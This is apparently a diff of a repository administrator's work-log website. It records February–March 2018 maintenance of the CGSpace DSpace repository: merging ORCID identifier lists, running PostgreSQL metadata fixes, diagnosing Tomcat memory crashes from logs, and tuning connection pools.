  • Sisay exported all ILRI, CIAT, etc authors from ORCID and sent a list of 600+
    • +
  • Peter combined it with mine and we have 1204 unique ORCIDs!
    • +
+
$ grep -coE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' CGcenter_ORCID_ID_combined.csv
+1204
+$ grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' CGcenter_ORCID_ID_combined.csv | sort | uniq | wc -l
+1204
+
    +
  • Also, save that regex for the future because it will be very useful!
    • +
  • CIAT sent a list of their authors’ ORCIDs and combined with ours there are now 1227:
    • +
+
$ cat CGcenter_ORCID_ID_combined.csv ciat-orcids.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l
+1227
+
    +
  • There are some formatting issues with names in Peter’s list, so I should remember to re-generate the list of names from ORCID’s API once we’re done
    • +
  • The dspace cleanup -v currently fails on CGSpace with the following:
    • +
+
 - Deleting bitstream record from database (ID: 149473)
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(149473) is still referenced from table "bundle".
+
    +
  • The solution is to update the bitstream table, as I’ve discovered several other times in 2016 and 2017:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (149473);'
+UPDATE 1
+
    +
  • Then the cleanup process will continue for awhile and hit another foreign key conflict, and eventually it will complete after you manually resolve them all
    • +
+

2018-02-15

+
    +
  • Altmetric seems to be indexing DSpace Test for some reason: + +
    • +
  • And this item doesn’t even exist on CGSpace!
    • +
  • Start working on XMLUI item display code for ORCIDs
    • +
  • Send emails to Macaroni Bros and Usman at CIFOR about ORCID metadata
    • +
  • CGSpace crashed while I was driving to Tel Aviv, and was down for four hours!
    • +
  • I only looked quickly in the logs but saw a bunch of database errors
    • +
  • PostgreSQL connections are currently:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | uniq -c
+      2 dspaceApi
+      1 dspaceWeb
+      3 dspaceApi
+
    +
  • I see shitloads of memory errors in Tomcat’s logs:
    • +
+
# grep -c "Java heap space" /var/log/tomcat7/catalina.out
+56
+
    +
  • And shit tons of database connections abandoned:
    • +
+
# grep -c 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon' /var/log/tomcat7/catalina.out
+612
+
    +
  • I have no fucking idea why it crashed
    • +
  • The XMLUI activity looks like:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 /var/log/nginx/error.log /var/log/nginx/error.log.1 | grep -E "15/Feb/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    715 63.143.42.244
+    746 213.55.99.121
+    886 68.180.228.157
+    967 66.249.66.90
+   1013 216.244.66.245
+   1177 197.210.168.174
+   1419 207.46.13.159
+   1512 207.46.13.59
+   1554 207.46.13.157
+   2018 104.196.152.243
+

2018-02-17

+
    +
  • Peter pointed out that we had an incorrect sponsor in the controlled vocabulary: U.S. Agency for International Development → United States Agency for International Development
    • +
  • I made a pull request to fix it ((#354)[https://github.com/ilri/DSpace/pull/354])
    • +
  • I should remember to update existing values in PostgreSQL too:
    • +
+
dspace=# update metadatavalue set text_value='United States Agency for International Development' where resource_type_id=2 and metadata_field_id=29 and text_value like '%U.S. Agency for International Development%';
+UPDATE 2
+

2018-02-18

+
    +
  • ICARDA’s Mohamed Salem pointed out that it would be easiest to format the cg.creator.id field like “Alan Orth: 0000-0002-1735-7458” because no name will have a “:” so it’s easier to split on
    • +
  • I finally figured out a few ways to extract ORCID iDs from metadata using XSLT and display them in the XMLUI:
    • +
+

Displaying ORCID iDs in XMLUI

+
    +
  • The one on the bottom left uses a similar format to our author display, and the one in the middle uses the format recommended by ORCID’s branding guidelines
    • +
  • Also, I realized that the Academicons font icon set we’re using includes an ORCID badge so we don’t need to use the PNG image anymore
    • +
  • Run system updates on DSpace Test (linode02) and reboot the server
    • +
  • Looking back at the system errors on 2018-02-15, I wonder what the fuck caused this:
    • +
+
$ wc -l dspace.log.2018-02-1{0..8}
+   383483 dspace.log.2018-02-10
+   275022 dspace.log.2018-02-11
+   249557 dspace.log.2018-02-12
+   280142 dspace.log.2018-02-13
+   615119 dspace.log.2018-02-14
+  4388259 dspace.log.2018-02-15
+   243496 dspace.log.2018-02-16
+   209186 dspace.log.2018-02-17
+   167432 dspace.log.2018-02-18
+
    +
  • From an average of a few hundred thousand to over four million lines in DSpace log?
    • +
  • Using grep’s -B1 I can see the line before the heap space error, which has the time, ie:
    • +
+
2018-02-15 16:02:12,748 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.OutOfMemoryError: Java heap space
+
    +
  • So these errors happened at hours 16, 18, 19, and 20
    • +
  • Let’s see what was going on in nginx then:
    • +
+
# zcat --force /var/log/nginx/*.log.{3,4}.gz | wc -l
+168571
+# zcat --force /var/log/nginx/*.log.{3,4}.gz | grep -E "15/Feb/2018:(16|18|19|20)" | wc -l
+8188
+
    +
  • Only 8,000 requests during those four hours, out of 170,000 the whole day!
    • +
  • And the usage of XMLUI, REST, and OAI looks SUPER boring:
    • +
+
# zcat --force /var/log/nginx/*.log.{3,4}.gz | grep -E "15/Feb/2018:(16|18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    111 95.108.181.88
+    158 45.5.184.221
+    201 104.196.152.243
+    205 68.180.228.157
+    236 40.77.167.131 
+    253 207.46.13.159
+    293 207.46.13.59
+    296 63.143.42.242
+    303 207.46.13.157
+    416 63.143.42.244
+
    +
  • 63.143.42.244 is Uptime Robot, and 207.46.x.x is Bing!
    • +
  • The DSpace sessions, PostgreSQL connections, and JVM memory all look normal
    • +
  • I see a lot of AccessShareLock on February 15th…?
    • +
+

PostgreSQL locks

+
    +
  • I have no idea what caused this crash
    • +
  • In other news, I adjusted the ORCID badge size on the XMLUI item display and sent it back to Peter for feedback
    • +
+

2018-02-19

+
    +
  • Combined list of CGIAR author ORCID iDs is up to 1,500:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml ORCID_ID_CIAT_IITA_IWMI-csv.csv CGcenter_ORCID_ID_combined.csv | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l  
+1571
+
    +
  • I updated my resolve-orcids-from-solr.py script to be able to resolve ORCID identifiers from a text file so I renamed it to resolve-orcids.py
    • +
  • Also, I updated it so it uses several new options:
    • +
+
$ ./resolve-orcids.py -i input.txt -o output.txt
+$ cat output.txt 
+Ali Ramadhan: 0000-0001-5019-1368
+Ahmad Maryudi: 0000-0001-5051-7217
+
    +
  • I was running this on the new list of 1571 and found an error:
    • +
+
Looking up the name associated with ORCID iD: 0000-0001-9634-1958
+Traceback (most recent call last):
+  File "./resolve-orcids.py", line 111, in <module>
+    read_identifiers_from_file()
+  File "./resolve-orcids.py", line 37, in read_identifiers_from_file
+    resolve_orcid_identifiers(orcids)
+  File "./resolve-orcids.py", line 65, in resolve_orcid_identifiers
+    family_name = data['name']['family-name']['value']
+TypeError: 'NoneType' object is not subscriptable
+
    +
  • According to ORCID that identifier’s family-name is null so that sucks
    • +
  • I fixed the script so that it checks if the family name is null
    • +
  • Now another:
    • +
+
Looking up the name associated with ORCID iD: 0000-0002-1300-3636
+Traceback (most recent call last):
+  File "./resolve-orcids.py", line 117, in <module>
+    read_identifiers_from_file()
+  File "./resolve-orcids.py", line 37, in read_identifiers_from_file
+    resolve_orcid_identifiers(orcids)
+  File "./resolve-orcids.py", line 65, in resolve_orcid_identifiers
+    if data['name']['given-names']:
+TypeError: 'NoneType' object is not subscriptable
+
    +
  • According to ORCID that identifier’s entire name block is null!
    • +
+

2018-02-20

+
    +
  • Send Abenet an email about getting a purchase requisition for a new DSpace Test server on Linode
    • +
  • Discuss some of the issues with null values and poor-quality names in some ORCID identifiers with Abenet and I think we’ll now only use ORCID iDs that have been sent to use from partners, not those extracted via keyword searches on orcid.org
    • +
  • This should be the version we use (the existing controlled vocabulary generated from CGSpace’s Solr authority core plus the IDs sent to us so far by partners):
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml ORCID_ID_CIAT_IITA_IWMI.csv | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > 2018-02-20-combined.txt
+
    +
  • I updated the resolve-orcids.py to use the “credit-name” if it exists in a profile, falling back to “given-names” + “family-name”
    • +
  • Also, I added color coded output to the debug messages and added a “quiet” mode that supresses the normal behavior of printing results to the screen
    • +
  • I’m using this as the test input for resolve-orcids.py:
    • +
+
$ cat orcid-test-values.txt 
+# valid identifier with 'given-names' and 'family-name'
+0000-0001-5019-1368
+
+# duplicate identifier
+0000-0001-5019-1368 
+
+# invalid identifier
+0000-0001-9634-19580
+
+# has a 'credit-name' value we should prefer
+0000-0002-1735-7458
+
+# has a blank 'credit-name' value
+0000-0001-5199-5528
+
+# has a null 'name' object
+0000-0002-1300-3636
+
+# has a null 'family-name' value
+0000-0001-9634-1958
+
+# missing ORCID identifier
+0000-0003-4221-3214
+
+

2018-02-22

+
    +
  • CGSpace was apparently down today around 13:00 server time and I didn’t get any emails on my phone, but saw them later on the computer
    • +
  • It looks like Sisay restarted Tomcat because I was offline
    • +
  • There was absolutely nothing interesting going on at 13:00 on the server, WTF?
    • +
+
# cat /var/log/nginx/*.log | grep -E "22/Feb/2018:13" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     55 192.99.39.235
+     60 207.46.13.26
+     62 40.77.167.38
+     65 207.46.13.23
+    103 41.57.108.208
+    120 104.196.152.243
+    133 104.154.216.0
+    145 68.180.228.117
+    159 54.92.197.82
+    231 5.9.6.51
+
    +
  • Otherwise there was pretty normal traffic the rest of the day:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "22/Feb/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    839 216.244.66.245
+   1074 68.180.228.117
+   1114 157.55.39.100
+   1162 207.46.13.26
+   1178 207.46.13.23
+   2749 104.196.152.243
+   3109 50.116.102.77
+   4199 70.32.83.92
+   5208 5.9.6.51
+   8686 45.5.184.196
+
    +
  • So I don’t see any definite cause for this crash, I see a shit ton of abandoned PostgreSQL connections today around 1PM!
    • +
+
# grep -c 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon' /var/log/tomcat7/catalina.out
+729
+# grep 'Feb 22, 2018 1' /var/log/tomcat7/catalina.out | grep -c 'org.apache.tomcat.jdbc.pool.ConnectionPool abandon' 
+519
+
    +
  • I think the removeAbandonedTimeout might still be too low (I increased it from 60 to 90 seconds last week)
    • +
  • Abandoned connections is not a cause but a symptom, though perhaps something more like a few minutes is better?
    • +
  • Also, while looking at the logs I see some new bot:
    • +
+
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider
+
    +
  • It seems to re-use its user agent but makes tons of useless requests and I wonder if I should add “.spider.” to the Tomcat Crawler Session Manager valve?
    • +
+

2018-02-23

+
    +
  • Atmire got back to us with a quote about their DSpace 5.8 upgrade
    • +
+

2018-02-25

+
    +
  • A few days ago Abenet sent me the list of ORCID iDs from CCAFS
    • +
  • We currently have 988 unique identifiers:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l          
+988
+
    +
  • After adding the ones from CCAFS we now have 1004:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/ccafs | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l
+1004
+
    +
  • I will add them to DSpace Test but Abenet says she’s still waiting to set us ILRI’s list
    • +
  • I will tell her that we should proceed on sharing our work on DSpace Test with the partners this week anyways and we can update the list later
    • +
  • While regenerating the names for these ORCID identifiers I saw one that has a weird value for its names:
    • +
+
Looking up the names associated with ORCID iD: 0000-0002-2614-426X
+Given Names Deactivated Family Name Deactivated: 0000-0002-2614-426X
+
    +
  • I don’t know if the user accidentally entered this as their name or if that’s how ORCID behaves when the name is private?
    • +
  • I will remove that one from our list for now
    • +
  • Remove Dryland Systems subject from submission form because that CRP closed two years ago (#355)
    • +
  • Run all system updates on DSpace Test
    • +
  • Email ICT to ask how to proceed with the OCS proforma issue for the new DSpace Test server on Linode
    • +
  • Thinking about how to preserve ORCID identifiers attached to existing items in CGSpace
    • +
  • We have over 60,000 unique author + authority combinations on CGSpace:
    • +
+
dspace=# select count(distinct (text_value, authority)) from metadatavalue where resource_type_id=2 and metadata_field_id=3;
+ count 
+-------
+ 62464
+(1 row)
+
    +
  • I know from earlier this month that there are only 624 unique ORCID identifiers in the Solr authority core, so it’s way easier to just fetch the unique ORCID iDs from Solr and then go back to PostgreSQL and do the metadata mapping that way
    • +
  • The query in Solr would simply be orcid_id:*
    • +
  • Assuming I know that authority record with id:d7ef744b-bbd4-4171-b449-00e37e1b776f, then I could query PostgreSQL for all metadata records using that authority:
    • +
+
dspace=# select * from metadatavalue where resource_type_id=2 and authority='d7ef744b-bbd4-4171-b449-00e37e1b776f';
+ metadata_value_id | resource_id | metadata_field_id |        text_value         | text_lang | place |              authority               | confidence | resource_type_id 
+-------------------+-------------+-------------------+---------------------------+-----------+-------+--------------------------------------+------------+------------------
+           2726830 |       77710 |                 3 | Rodríguez Chalarca, Jairo |           |     2 | d7ef744b-bbd4-4171-b449-00e37e1b776f |        600 |                2
+(1 row)
+
    +
  • Then I suppose I can use the resource_id to identify the item?
    • +
  • Actually, resource_id is the same id we use in CSV, so I could simply build something like this for a metadata import!
    • +
+
id,cg.creator.id
+93848,Alan S. Orth: 0000-0002-1735-7458||Peter G. Ballantyne: 0000-0001-9346-2893
+
    +
  • I just discovered that requests-cache can transparently cache HTTP requests
    • +
  • Running resolve-orcids.py with my test input takes 10.5 seconds the first time, and then 3.0 seconds the second time!
    • +
+
$ time ./resolve-orcids.py -i orcid-test-values.txt -o /tmp/orcid-names
+Ali Ramadhan: 0000-0001-5019-1368
+Alan S. Orth: 0000-0002-1735-7458
+Ibrahim Mohammed: 0000-0001-5199-5528
+Nor Azwadi: 0000-0001-9634-1958
+./resolve-orcids.py -i orcid-test-values.txt -o /tmp/orcid-names  0.32s user 0.07s system 3% cpu 10.530 total
+$ time ./resolve-orcids.py -i orcid-test-values.txt -o /tmp/orcid-names
+Ali Ramadhan: 0000-0001-5019-1368
+Alan S. Orth: 0000-0002-1735-7458
+Ibrahim Mohammed: 0000-0001-5199-5528
+Nor Azwadi: 0000-0001-9634-1958
+./resolve-orcids.py -i orcid-test-values.txt -o /tmp/orcid-names  0.23s user 0.05s system 8% cpu 3.046 total
+

2018-02-26

+
    +
  • Peter is having problems with “Socket closed” on his submissions page again
    • +
  • He says his personal account loads much faster than his CGIAR account, which could be because the CGIAR account has potentially thousands of submissions over the last few years
    • +
  • I don’t know why it would take so long, but this logic kinda makes sense
    • +
  • I think I should increase the removeAbandonedTimeout from 90 to something like 180 and continue observing
    • +
  • I also reduced the timeout for the API pool back to 60 because those interfaces are only used by bots
    • +
+

2018-02-27

+
    +
  • Peter is still having problems with “Socket closed” on his submissions page
    • +
  • I have disabled removeAbandoned for now because that’s the only thing I changed in the last few weeks since he started having issues
    • +
  • I think the real line of logic to follow here is why the submissions page is so slow for him (presumably because of loading all his submissions?)
    • +
  • I need to see which SQL queries are run during that time
    • +
  • And only a few hours after I disabled the removeAbandoned thing CGSpace went down and lo and behold, there were 264 connections, most of which were idle:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+    279 dspaceWeb
+$ psql -c 'select * from pg_stat_activity' | grep dspaceWeb | grep -c "idle in transaction"
+218
+
    +
  • So I’m re-enabling the removeAbandoned setting
    • +
  • I grabbed a snapshot of the active connections in pg_stat_activity for all queries running longer than 2 minutes:
    • +
+
dspace=# \copy (SELECT now() - query_start as "runtime", application_name, usename, datname, waiting, state, query
+  FROM  pg_stat_activity
+  WHERE now() - query_start > '2 minutes'::interval
+ ORDER BY runtime DESC) to /tmp/2018-02-27-postgresql.txt
+COPY 263
+
    +
  • 100 of these idle in transaction connections are the following query:
    • +
+
SELECT * FROM resourcepolicy WHERE resource_type_id= $1 AND resource_id= $2 AND action_id= $3
+
    +
  • … but according to the pg_locks documentation I should have done this to correlate the locks with the activity:
    • +
+
SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;
+
    +
  • Tom Desair from Atmire shared some extra JDBC pool parameters that might be useful on my thread on the dspace-tech mailing list: +
      +
    • abandonWhenPercentageFull: Only start cleaning up abandoned connections if the pool is used for more than X %.
      • +
    • jdbcInterceptors=‘ResetAbandonedTimer’: Make sure the “abondoned” timer is reset every time there is activity on a connection
      • +
    +
    • +
  • I will try with abandonWhenPercentageFull='50'
    • +
  • Also there are some indexes proposed in DS-3636 that he urged me to try
    • +
  • Finally finished the orcid-authority-to-item.py script!
    • +
  • It successfully mapped 2600 ORCID identifiers to items in my tests
    • +
  • I will run it on DSpace Test
    • +
+

2018-02-28

+
    +
  • CGSpace crashed today, the first HTTP 499 in nginx’s access.log was around 09:12
    • +
  • There’s nothing interesting going on in nginx’s logs around that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "28/Feb/2018:09:" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     65 197.210.168.174
+     74 213.55.99.121
+     74 66.249.66.90
+     86 41.204.190.40
+    102 130.225.98.207
+    108 192.0.89.192
+    112 157.55.39.218
+    129 207.46.13.21
+    131 207.46.13.115
+    135 207.46.13.101
+
    +
  • Looking in dspace.log-2018-02-28 I see this, though:
    • +
+
2018-02-28 09:19:29,692 ERROR org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter @ Serious Error Occurred Processing Request!
+org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.OutOfMemoryError: Java heap space
+
    +
  • Memory issues seem to be common this month:
    • +
+
$ grep -c 'nested exception is java.lang.OutOfMemoryError: Java heap space' dspace.log.2018-02-* 
+dspace.log.2018-02-01:0
+dspace.log.2018-02-02:0
+dspace.log.2018-02-03:0
+dspace.log.2018-02-04:0
+dspace.log.2018-02-05:0
+dspace.log.2018-02-06:0
+dspace.log.2018-02-07:0
+dspace.log.2018-02-08:0
+dspace.log.2018-02-09:0
+dspace.log.2018-02-10:0
+dspace.log.2018-02-11:0
+dspace.log.2018-02-12:0
+dspace.log.2018-02-13:0
+dspace.log.2018-02-14:0
+dspace.log.2018-02-15:10
+dspace.log.2018-02-16:0
+dspace.log.2018-02-17:0
+dspace.log.2018-02-18:0
+dspace.log.2018-02-19:0
+dspace.log.2018-02-20:0
+dspace.log.2018-02-21:0
+dspace.log.2018-02-22:0
+dspace.log.2018-02-23:0
+dspace.log.2018-02-24:0
+dspace.log.2018-02-25:0
+dspace.log.2018-02-26:0
+dspace.log.2018-02-27:6
+dspace.log.2018-02-28:1
+
    +
  • Top ten users by session during the first twenty minutes of 9AM:
    • +
+
$ grep -E '2018-02-28 09:(0|1)' dspace.log.2018-02-28 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq -c | sort -n | tail -n 10
+     18 session_id=F2DFF64D3D707CD66AE3A873CEC80C49
+     19 session_id=92E61C64A79F0812BE62A3882DA8F4BA
+     21 session_id=57417F5CB2F9E3871E609CEEBF4E001F
+     25 session_id=C3CD265AB7AA51A49606C57C069A902A
+     26 session_id=E395549F081BA3D7A80F174AE6528750
+     26 session_id=FEE38CF9760E787754E4480069F11CEC
+     33 session_id=C45C2359AE5CD115FABE997179E35257
+     38 session_id=1E9834E918A550C5CD480076BC1B73A4
+     40 session_id=8100883DAD00666A655AE8EC571C95AE
+     66 session_id=01D9932D6E85E90C2BA9FF5563A76D03
+
    +
  • According to the log 01D9932D6E85E90C2BA9FF5563A76D03 is an ILRI editor, doing lots of updating and editing of items
    • +
  • 8100883DAD00666A655AE8EC571C95AE is some Indian IP address
    • +
  • 1E9834E918A550C5CD480076BC1B73A4 looks to be a session shared by the bots
    • +
  • So maybe it was due to the editor’s uploading of files, perhaps something that was too big or?
    • +
  • I think I’ll increase the JVM heap size on CGSpace from 6144m to 8192m because I’m sick of this random crashing shit and the server has memory and I’d rather eliminate this so I can get back to solving PostgreSQL issues and doing other real work
    • +
  • Run the few corrections from earlier this month for sponsor on CGSpace:
    • +
+
cgspace=# update metadatavalue set text_value='United States Agency for International Development' where resource_type_id=2 and metadata_field_id=29 and text_value like '%U.S. Agency for International Development%';
+UPDATE 3
+
    +
  • I finally got a CGIAR account so I logged into CGSpace with it and tried to delete my old unfinished submissions (22 of them)
    • +
  • Eventually it succeeded, but it took about five minutes and I noticed LOTS of locks happening with this query:
    • +
+
dspace=# \copy (SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid) to /tmp/locks-aorth.txt;
+
    +
  • I took a few snapshots during the process and noticed 500, 800, and even 2000 locks at certain times during the process
    • +
  • Afterwards I looked a few times and saw only 150 or 200 locks
    • +
  • On the test server, with the PostgreSQL indexes from DS-3636 applied, it finished instantly
    • +
  • Run system updates on DSpace Test and reboot the server
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-03/index.html b/docs/2018-03/index.html new file mode 100644 index 000000000..bbeaa3e10 --- /dev/null +++ b/docs/2018-03/index.html @@ -0,0 +1,639 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2018

+

+ + in + Notes + + +

+
+

2018-03-02

+
    +
  • Export a CSV of the IITA community metadata for Martin Mueller
    • +
+

2018-03-06

+
    +
  • Add three new CCAFS project tags to input-forms.xml (#357)
    • +
  • Andrea from Macaroni Bros had sent me an email that CCAFS needs them
    • +
  • Give Udana more feedback on his WLE records from last month
    • +
  • There were some records using a non-breaking space in their AGROVOC subject field
    • +
  • I checked and tested some author corrections from Peter from last week, and then applied them on CGSpace
    • +
+
$ ./fix-metadata-values.py -i Correct-309-authors-2018-03-06.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3      
+$ ./delete-metadata-values.py -i Delete-3-Authors-2018-03-06.csv -db dspace -u dspace-p 'fuuu' -f dc.contributor.author -m 3
+
    +
  • This time there were no errors in whitespace but I did have to correct one incorrectly encoded accent character
    • +
  • Add new CRP subject “GRAIN LEGUMES AND DRYLAND CEREALS” to input-forms.xml (#358)
    • +
  • Merge the ORCID integration stuff in to 5_x-prod for deployment on CGSpace soon (#359)
    • +
  • Deploy ORCID changes on CGSpace (linode18), run all system updates, and reboot the server
    • +
  • Run all system updates on DSpace Test and reboot server
    • +
  • I ran the orcid-authority-to-item.py script on CGSpace and mapped 2,864 ORCID identifiers from Solr to item metadata
    • +
+
$ ./orcid-authority-to-item.py -db dspace -u dspace -p 'fuuu' -s http://localhost:8081/solr -d
+
    +
  • I ran the DSpace cleanup script on CGSpace and it threw an error (as always):
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(150659) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (150659);'
+UPDATE 1
+
    +
  • Apply the proposed PostgreSQL indexes from DS-3636 (pull request #1791 on CGSpace (linode18)
    • +
+

2018-03-07

+
    +
  • Add CIAT author Mauricio Efren Sotelo Cabrera to controlled vocabulary for ORCID identifiers (#360)
    • +
  • Help Sisay proof 200 IITA records on DSpace Test
    • +
  • Finally import Udana’s 24 items to IWMI Journal Articles on CGSpace
    • +
  • Skype with James Stapleton to discuss CGSpace, ILRI website, CKM staff issues, etc
    • +
+

2018-03-08

+
    +
  • Looking at a CSV dump of the CIAT community I see there are tons of stupid text languages people add for their metadata
    • +
  • This makes the CSV have tons of columns, for example dc.title, dc.title[], dc.title[en], dc.title[eng], dc.title[en_US] and so on!
    • +
  • I think I can fix — or at least normalize — them in the database:
    • +
+
dspace=# select distinct text_lang from metadatavalue where resource_type_id=2;
+ text_lang 
+-----------
+ 
+ ethnob
+ en
+ spa
+ EN
+ En
+ en_
+ en_US
+ E.
+ 
+ EN_US
+ en_U
+ eng
+ fr
+ es_ES
+ es
+(16 rows)
+
+dspace=# update metadatavalue set text_lang='en_US' where resource_type_id=2 and text_lang in ('en','EN','En','en_','EN_US','en_U','eng');
+UPDATE 122227
+dspacetest=# select distinct text_lang from metadatavalue where resource_type_id=2;
+ text_lang
+-----------
+
+ ethnob
+ en_US
+ spa
+ E.
+
+ fr
+ es_ES
+ es
+(9 rows)
+
    +
  • On second inspection it looks like dc.description.provenance fields use the text_lang “en” so that’s probably why there are over 100,000 fields changed…
    • +
  • If I skip that, there are about 2,000, which seems more reasonably like the amount of fields users have edited manually, or fucked up during CSV import, etc:
    • +
+
dspace=# update metadatavalue set text_lang='en_US' where resource_type_id=2 and text_lang in ('EN','En','en_','EN_US','en_U','eng');
+UPDATE 2309
+
    +
  • I will apply this on CGSpace right now
    • +
  • In other news, I was playing with adding ORCID identifiers to a dump of CIAT’s community via CSV in OpenRefine
    • +
  • Using a series of filters, flags, and GREL expressions to isolate items for a certain author, I figured out how to add ORCID identifiers to the cg.creator.id field
    • +
  • For example, a GREL expression in a custom text facet to get all items with dc.contributor.author[en_US] of a certain author with several name variations (this is how you use a logical OR in OpenRefine):
    • +
+
or(value.contains('Ceballos, Hern'), value.contains('Hernández Ceballos'))
+
    +
  • Then you can flag or star matching items and then use a conditional to either set the value directly or add it to an existing value:
    • +
+
if(isBlank(value), "Hernan Ceballos: 0000-0002-8744-7918", value + "||Hernan Ceballos: 0000-0002-8744-7918")
+
    +
  • One thing that bothers me is that this won’t honor author order
    • +
  • It might be better to do batches of these in PostgreSQL with a script that takes the place column of an author into account when setting the cg.creator.id
    • +
  • I wrote a Python script to read the author names and ORCID identifiers from CSV and create matching cg.creator.id fields: add-orcid-identifiers-csv.py
    • +
  • The CSV should have two columns: author name and ORCID identifier:
    • +
+
dc.contributor.author,cg.creator.id
+"Orth, Alan",Alan S. Orth: 0000-0002-1735-7458
+"Orth, A.",Alan S. Orth: 0000-0002-1735-7458
+
    +
  • I didn’t integrate the ORCID API lookup for author names in this script for now because I was only interested in “tagging” old items for a few given authors
    • +
  • I added ORCID identifers for 187 items by CIAT’s Hernan Ceballos, because that is what Elizabeth was trying to do manually!
    • +
  • Also, I decided to add ORCID identifiers for all records from Peter, Abenet, and Sisay as well
    • +
+

2018-03-09

+
    +
  • Give James Stapleton input on Sisay’s KRAs
    • +
  • Create a pull request to disable ORCID authority integration for dc.contributor.author in the submission forms and XMLUI display (#363)
    • +
+

2018-03-11

+
    +
  • Peter also wrote to say he is having issues with the Atmire Listings and Reports module
    • +
  • When I logged in to try it I get a blank white page after continuing and I see this in dspace.log.2018-03-11:
    • +
+
2018-03-11 11:38:15,592 WARN  org.dspace.app.webui.servlet.InternalErrorServlet @ :session_id=91C2C0C59669B33A7683570F6010603A:internal_error:-- URL Was: https://cgspace.cgiar.or
+g/jspui/listings-and-reports
+-- Method: POST
+-- Parameters were:
+-- selected_admin_preset: "ilri authors2"
+-- load: "normal"
+-- next: "NEXT STEP >>"
+-- step: "1"
+
+org.apache.jasper.JasperException: java.lang.NullPointerException
+
    +
  • Looks like I needed to remove the Humidtropics subject from Listings and Reports because it was looking for the terms and couldn’t find them
    • +
  • I made a quick fix and it’s working now (#364)
    • +
+

2018-03-12

+
    +
  • Increase upload size on CGSpace’s nginx config to 85MB so Sisay can upload some data
    • +
+

2018-03-13

+
    +
  • I created a new Linode server for DSpace Test (linode6623840) so I could try the block storage stuff, but when I went to add a 300GB volume it said that block storage capacity was exceeded in that datacenter (Newark, NJ)
    • +
  • I deleted the Linode and created another one (linode6624164) in the Fremont, CA region
    • +
  • After that I deployed the Ubuntu 16.04 image and attached a 300GB block storage volume to the image
    • +
  • Magdalena wrote to ask why there was no Altmetric donut for an item on CGSpace, but there was one on the related CCAFS publication page
    • +
  • It looks the the CCAFS publications page fetches the donut using its DOI, whereas CGSpace queries via Handle
    • +
  • I will write to Altmetric support and ask them, as perhaps its part of a larger issue
    • +
  • CGSpace item: https://cgspace.cgiar.org/handle/10568/89643
    • +
  • CCAFS publication page: https://ccafs.cgiar.org/publications/can-scenario-planning-catalyse-transformational-change-evaluating-climate-change-policy
    • +
  • Peter tweeted the Handle link and now Altmetric shows the donut for both the DOI and the Handle
    • +
+

2018-03-14

+
    +
  • Help Abenet with a troublesome Listings and Report question for CIAT author Steve Beebe
    • +
  • Continue migrating DSpace Test to the new server (linode6624164)
    • +
  • I emailed ILRI service desk to update the DNS records for dspacetest.cgiar.org
    • +
